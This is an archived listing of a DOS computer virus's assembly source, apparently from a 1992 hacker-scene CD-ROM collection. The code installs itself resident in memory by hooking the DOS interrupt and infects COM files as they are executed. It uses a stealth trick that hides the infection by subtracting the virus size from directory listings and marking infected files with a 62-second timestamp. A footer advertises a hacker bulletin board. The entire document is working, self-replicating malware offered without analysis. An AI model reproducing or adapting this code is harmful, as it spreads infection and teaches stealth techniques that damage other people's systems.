home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / WANDERER.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  3KB  |  196 lines

  1. virus segment public 'code'
  2.     assume    cs:virus,ds:virus,es:virus
  3.     org    0
  4.  
  5. VirusSize    equ    VirusEnd-$
  6.  
  7. Com:    call    Begin
  8.     call    Label2
  9.  
  10. SavedCode:
  11.     mov    ax,4c00h
  12.     int    21h
  13.  
  14.         org     SavedCode+5h
  15.  
  16. Label2:    pop    si
  17.     mov    di,100h
  18.     push    di
  19.     movsw
  20.     movsw
  21.     movsb
  22.     ret
  23.  
  24. Begin:    push    ds
  25.     push    es
  26.     push    ax
  27.     xor    ax,ax
  28.     mov    ds,ax
  29.     mov    ds,ds:[46ah]
  30.     cmp    Signature,0ACDCh
  31.     je    Exit
  32.     mov    ah,4ah
  33.     mov    bx,-1
  34.     int    21h
  35.         sub     bx,VirusParas1
  36.     jb    Exit
  37.     add    bh,10h
  38.     mov    ah,4ah
  39.     int    21h
  40.     mov    ah,48h
  41.         mov     bx,VirusParas2
  42.     int    21h
  43.     jb    Exit
  44.     dec    ax
  45.     mov    es,ax
  46.     inc    ax
  47.     mov    es:[1],ax
  48.     mov    es,ax
  49.     push    cs
  50.     pop    ds
  51.     call    Label1
  52. Label1:    pop    si
  53.     sub    si,offset Label1
  54.     xor    di,di
  55.     push    di
  56.     mov    cx,VirusSize
  57.     rep    movsb
  58.     pop    ds
  59.     mov    ax,ds:[84h]
  60.     mov    word ptr es:OldInt21[0],ax
  61.     mov    ax,ds:[86h]
  62.     mov    word ptr es:OldInt21[2],ax
  63.     mov    byte ptr ds:[467h],0eah
  64.     mov    word ptr ds:[468h],offset NewInt21
  65.     mov    ds:[46ah],es
  66.     mov    word ptr ds:[84h],7
  67.     mov    word ptr ds:[86h],46h
  68. Exit:    pop    ax
  69.     pop    ds
  70.     pop    es
  71.     ret
  72.  
  73. Header        db    0e9h
  74.         dw    0
  75. Signature    dw    0ACDCh
  76.  
  77. NewInt21:
  78.     cmp    ah,4bh
  79.         jne     on1
  80.         jmp     exec
  81. on1:    cmp     ah,4eh
  82.         je      find
  83.         cmp     ah,4fh
  84.         je      find
  85.         jmp     EOI
  86.  
  87.         Db ' As wolfs among sheep we have wandered '
  88.  
  89. Find:   call    interrupt                       ; call orginal interrupt
  90.     jc    Ret1                ; error ?
  91.     pushf                    ; save registers
  92.     push    ax
  93.     push    bx
  94.     push    es
  95.     mov    ah,2fh
  96.         call    interrupt
  97.     mov    al,es:[bx+16h]            ; get file-time (low byte)
  98.     and    al,1fh                ; seconds
  99.     cmp    al,1fh                ; 62 seconds ?
  100.     jne    FileOk                ; no, file not infected
  101.     sub    word ptr es:[bx+1ah],VirusSize    ; change file-size
  102.     sbb    word ptr es:[bx+1ch],0
  103. Time:    xor    byte ptr es:[bx+16h],10h    ; adjust file-time
  104. FileOk:    pop    es                ; restore registers
  105.     pop    bx
  106.     pop    ax
  107.     popf
  108. ret1:   retf    2
  109.  
  110. Exec:    push    ax
  111.     push    bx
  112.     push    cx
  113.     push    dx
  114.     push    ds
  115.     mov    ax,3d02h
  116.     call    Interrupt
  117.         jc      short Error
  118.     push    cs
  119.     pop    ds
  120.     mov    bx,ax
  121.     mov    ah,3fh
  122.         mov     cx,5h
  123.     mov    dx,offset SavedCode
  124.     call    DOS
  125.         cmp     word ptr cs:SavedCode,'ZM'
  126.         je      short TheEnd
  127. ComFile:cmp    word ptr cs:SavedCode[3],0ACDCh
  128.         je      short TheEnd
  129.     mov    al,02h
  130.     call    Seek
  131.     or    dx,dx
  132.     cmp    ah,0f6h
  133.         je      short Close
  134.     sub    ax,5
  135.     inc    ax
  136.     inc    ax
  137.     mov    word ptr ds:Header[1],ax
  138.         mov     ax,5700h
  139.         call    dos
  140.         push    cx
  141.         push    dx
  142.     mov    ah,40h
  143.     mov    cx,VirusSize
  144.     xor    dx,dx
  145.     call    DOS
  146.     mov    al,00h
  147.     call    Seek
  148.     mov    ah,40h
  149.     mov    cx,5
  150.     mov    dx,offset Header
  151.         call    dos
  152. Close:  mov     ax,5701h
  153.         pop     dx
  154.         pop     cx
  155.         or      cl,1fh
  156.         call    dos
  157. TheEnd: mov     ah,3eh
  158.     call    Interrupt
  159. Error:    pop    ds
  160.     pop    dx
  161.     pop    cx
  162.     pop    bx
  163.     pop    ax
  164.  
  165. EOI:        db    0eah        ; jmp    0:0
  166. OldInt21    dd    026b1465h
  167.  
  168. Seek:    mov    ah,42h
  169.     xor    cx,cx
  170.     xor    dx,dx
  171.  
  172. DOS:    call    Interrupt
  173.     jnc    Ok
  174.     pop    ax
  175.     jmp    Close
  176.  
  177. Interrupt:
  178.     pushf
  179.     call    cs:OldInt21
  180. Ok:    ret
  181.  
  182. VirusEnd    equ    $
  183.  
  184. VirusParas1     equ (VirusSize+1fh)/10h+1000h
  185. VirusParas2     equ (VirusSize+0fh)/10h
  186.  
  187. virus ends
  188.  
  189. end
  190.  
  191.  
  192. ;  ─────────────────────────────────────────────────────────────────────────
  193. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  194. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  195. ;  ─────────────────────────────────────────────────────────────────────────
  196.